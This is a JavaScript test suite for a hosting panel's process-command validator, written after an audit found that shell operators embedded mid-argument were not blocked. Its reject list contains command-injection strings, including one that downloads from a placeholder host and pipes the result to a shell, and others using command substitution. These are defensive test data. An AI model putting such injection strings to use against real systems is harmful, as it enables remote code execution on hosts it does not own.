237 lines
9.4 KiB
JavaScript
237 lines
9.4 KiB
JavaScript
"use strict";
|
|
|
|
// Tests for the runtime process-command validator (the argv a container runs
|
|
// as its main process), remediation of the audit finding "Blocked-token
|
|
// matching is exact-arg only" — ";"/"&&" embedded mid-argument
|
|
// ("app.js;curl") used to pass while the error messages claimed shell
|
|
// operators were not allowed at all.
|
|
//
|
|
// index.js boots servers on require, so the validator functions cannot be
|
|
// imported directly. The same validator is also duplicated verbatim in the
|
|
// settings.js frontend bundle as a UX pre-check (the other command surfaces —
|
|
// /api/servers/create and the reinstall route — validate server-side only;
|
|
// dashboard.js submits no validated command input). This suite
|
|
// slices each copy out of its source file, evaluates it in isolation, and
|
|
// proves:
|
|
// 1. Shell operators embedded mid-argument are rejected (unquoted context).
|
|
// 2. Standalone operator tokens stay rejected (existing behavior).
|
|
// 3. Quoted/escaped operators stay accepted as literal data — argv
|
|
// execution and verbatim shell execution agree on them — except a bare
|
|
// quoted operator token, which the exact-token blocklist still rejects.
|
|
// 4. Both JS copies enforce the identical contract, so the frontend
|
|
// pre-check can never disagree with the panel API or the node.
|
|
|
|
const test = require("node:test");
|
|
const assert = require("node:assert");
|
|
const fs = require("node:fs");
|
|
const path = require("node:path");
|
|
|
|
const SOURCES = {
|
|
panel: path.join(__dirname, "..", "index.js"),
|
|
settings: path.join(__dirname, "..", "public", "js", "settings.js"),
|
|
};
|
|
|
|
const START_MARKERS = {
|
|
// index.js's validator calls sanitizeRuntimeCommandInput first; the
|
|
// settings.js copy starts at the blocklist constants.
|
|
panel: "function sanitizeRuntimeCommandInput",
|
|
settings: "const RUNTIME_PROCESS_BLOCKED_EXECUTABLES",
|
|
};
|
|
|
|
// The validator lives among its helper functions; slice from the start
|
|
// marker through the end of validateRuntimeProcessCommandInput and evaluate
|
|
// that region in isolation, exposing BOTH functions each copy must provide:
|
|
// validateRuntimeProcessCommandInput and the sanitizeRuntimeCommandInput head
|
|
// it routes its input through. adpanel:surrogate-safe-cut — the panel copy's
|
|
// sanitizeRuntimeCommandInput caps through the shared helper
|
|
// (utils/safe-truncate.js), so the isolated evaluation receives the REAL
|
|
// helper as a parameter: the panel's cut behavior here is the production
|
|
// one, not a test-local stand-in. The settings copy cannot require the Node
|
|
// helper, so it inlines the identical trailing-lone-high drop (it never
|
|
// calls the injected helper; the unused parameter is harmless) — the
|
|
// astral-boundary test below pins the two copies to identical cuts.
|
|
const { safeTruncateUtf16 } = require("../utils/safe-truncate");
|
|
|
|
function extractValidator(source, startMarker) {
|
|
const start = source.indexOf(startMarker);
|
|
assert.ok(start >= 0, `start marker ${startMarker} not found`);
|
|
const fnStart = source.indexOf("function validateRuntimeProcessCommandInput", start);
|
|
assert.ok(fnStart >= 0, "validateRuntimeProcessCommandInput not found after start marker");
|
|
const bodyStart = source.indexOf("{", fnStart);
|
|
let depth = 0;
|
|
let end = -1;
|
|
for (let i = bodyStart; i < source.length; i += 1) {
|
|
if (source[i] === "{") depth += 1;
|
|
else if (source[i] === "}") {
|
|
depth -= 1;
|
|
if (depth === 0) { end = i; break; }
|
|
}
|
|
}
|
|
assert.ok(end > bodyStart, "could not find end of validateRuntimeProcessCommandInput");
|
|
const slice = source.slice(start, end + 1);
|
|
const factory = new Function("safeTruncateUtf16", `${slice}\nreturn { validateRuntimeProcessCommandInput, sanitizeRuntimeCommandInput };`);
|
|
return factory(safeTruncateUtf16);
|
|
}
|
|
|
|
const copiesBySource = {};
|
|
for (const [name, file] of Object.entries(SOURCES)) {
|
|
copiesBySource[name] = extractValidator(fs.readFileSync(file, "utf8"), START_MARKERS[name]);
|
|
}
|
|
const validateByCopy = {};
|
|
const sanitizeByCopy = {};
|
|
for (const [name, copies] of Object.entries(copiesBySource)) {
|
|
validateByCopy[name] = copies.validateRuntimeProcessCommandInput;
|
|
sanitizeByCopy[name] = copies.sanitizeRuntimeCommandInput;
|
|
}
|
|
|
|
const ACCEPT = [
|
|
// Shipped template defaults and placeholder forms.
|
|
"java -Xms128M -Xmx{RAM_MB}M -jar /data/server.jar nogui",
|
|
"node /app/index.js",
|
|
"python /app/main.py",
|
|
// Env wrappers and flags.
|
|
"env PORT=3000 node server.js",
|
|
"node --max-old-space-size=4096 server.js",
|
|
// Quoted operators are literal data for argv execution AND for a shell.
|
|
"node -e 'console.log(\"a;b\")'",
|
|
'python -c "print(1|2)"',
|
|
'node "a&&b.js"',
|
|
"node 'a;b.js'",
|
|
'python app.py --url "https://example.com/?a=1&b=2"',
|
|
// Escaped operators stay literal.
|
|
"node a\\;b",
|
|
];
|
|
|
|
const REJECT = [
|
|
// Standalone operator tokens (pre-existing blocklist behavior).
|
|
"node app.js && npm start",
|
|
"node app.js || npm start",
|
|
"node app.js ; npm start",
|
|
"node app.js & npm start",
|
|
"node app.js | tee log",
|
|
"node app.js > out.log",
|
|
"node app.js >> out.log",
|
|
"node app.js < in.txt",
|
|
"node app.js 2>&1",
|
|
"node app.js 2> err.log",
|
|
// Bare quoted operator token: still caught by the exact-token blocklist.
|
|
'node app.js ";"',
|
|
// Embedded, unquoted — the finding: used to pass the exact-arg check.
|
|
"node app.js;curl",
|
|
"node app.js;curl evil.sh | sh",
|
|
"node a&&b.js",
|
|
"node a||b",
|
|
"node a|b",
|
|
"node a&b",
|
|
"java -jar app.jar>out.log",
|
|
"java -jar app.jar>>out.log",
|
|
"java -jar app.jar<in.txt",
|
|
"python app.py 2>err.log",
|
|
"python app.py 2>&1",
|
|
"env FOO=a;b node x.js",
|
|
";node app.js",
|
|
"&node app.js",
|
|
// Existing guarantees that must not regress.
|
|
'`touch /tmp/x`',
|
|
"echo $(id)",
|
|
"sh -c 'node app.js'",
|
|
"bash -lc node",
|
|
"docker run -it alpine",
|
|
"podman ps",
|
|
"node a\nnpm start",
|
|
];
|
|
|
|
test("embedded unquoted shell operators are rejected; literals stay accepted", () => {
|
|
for (const [name, validate] of Object.entries(validateByCopy)) {
|
|
for (const command of REJECT) {
|
|
const error = validate(command);
|
|
assert.ok(error, `${name}: expected rejection for ${JSON.stringify(command)}`);
|
|
}
|
|
for (const command of ACCEPT) {
|
|
const error = validate(command);
|
|
assert.strictEqual(error, null, `${name}: expected acceptance for ${JSON.stringify(command)}`);
|
|
}
|
|
}
|
|
});
|
|
|
|
test("embedded-operator rejections explain the unquoted-argument guarantee", () => {
|
|
for (const [name, validate] of Object.entries(validateByCopy)) {
|
|
for (const command of ["node app.js;curl", "node a&&b.js", "java -jar app.jar>out.log"]) {
|
|
const error = validate(command);
|
|
assert.match(
|
|
error,
|
|
/unquoted process command arguments/,
|
|
`${name}: message for ${JSON.stringify(command)} should state the guarantee`
|
|
);
|
|
}
|
|
}
|
|
});
|
|
|
|
test("both copies enforce the identical contract", () => {
|
|
const commands = [...ACCEPT, ...REJECT];
|
|
const names = Object.keys(validateByCopy);
|
|
for (const command of commands) {
|
|
const results = names.map((name) => validateByCopy[name](command));
|
|
for (let i = 1; i < results.length; i += 1) {
|
|
assert.strictEqual(
|
|
(results[i] === null) === (results[0] === null),
|
|
true,
|
|
`${names[i]} disagrees with ${names[0]} on ${JSON.stringify(command)}`
|
|
);
|
|
}
|
|
}
|
|
});
|
|
|
|
// adpanel:surrogate-safe-cut — astral-at-the-boundary corpus. The 4000-unit
|
|
// cap is measured in UTF-16 code units, so a 4-byte character straddling it
|
|
// is the one input class where a plain .slice and the surrogate-safe cut
|
|
// disagree: the slice would keep a trailing lone high surrogate (which
|
|
// stores as U+FFFD), the cut ends one character earlier instead. Both JS
|
|
// copies must produce the SAME sanitized text and the SAME verdict, and the
|
|
// sanitized text must never end with a lone high surrogate.
|
|
const ASTRAL_AT_BOUNDARY = [
|
|
// 3999 ASCII units + one 4-byte emoji: 4001 units, the cap lands mid-pair.
|
|
`node ${"a".repeat(3994)}\u{1F3AE}`,
|
|
// Plain over-4000 ASCII: the cut, not the blocklist, decides the verdict.
|
|
`node ${"a".repeat(4200)}`,
|
|
// 4000 units ending in an already-broken lone high surrogate: the
|
|
// while-loop must drop it even though the cap itself did not cut there.
|
|
`node ${"a".repeat(3994)}\uD83D`,
|
|
];
|
|
|
|
test("both copies cut identically at the astral boundary (no trailing lone high surrogate)", () => {
|
|
const names = Object.keys(sanitizeByCopy);
|
|
for (const command of ASTRAL_AT_BOUNDARY) {
|
|
const sanitized = names.map((name) => sanitizeByCopy[name](command));
|
|
for (let i = 1; i < sanitized.length; i += 1) {
|
|
assert.strictEqual(
|
|
sanitized[i],
|
|
sanitized[0],
|
|
`${names[i]} sanitizes ${JSON.stringify(command)} differently from ${names[0]}`
|
|
);
|
|
}
|
|
names.forEach((name, i) => {
|
|
const text = sanitized[i];
|
|
assert.ok(text.length <= 4000, `${name}: sanitized text must respect the 4000-unit cap`);
|
|
const last = text.charCodeAt(text.length - 1);
|
|
assert.ok(
|
|
!(last >= 0xd800 && last <= 0xdbff),
|
|
`${name}: sanitized text must not end with a lone high surrogate`
|
|
);
|
|
});
|
|
const verdicts = names.map((name) => validateByCopy[name](command));
|
|
for (let i = 1; i < verdicts.length; i += 1) {
|
|
assert.strictEqual(
|
|
(verdicts[i] === null) === (verdicts[0] === null),
|
|
true,
|
|
`${names[i]} disagrees with ${names[0]} on ${JSON.stringify(command)}`
|
|
);
|
|
}
|
|
assert.strictEqual(
|
|
verdicts[0],
|
|
null,
|
|
`${names[0]}: a long-but-clean command must stay accepted after the cut`
|
|
);
|
|
}
|
|
});
|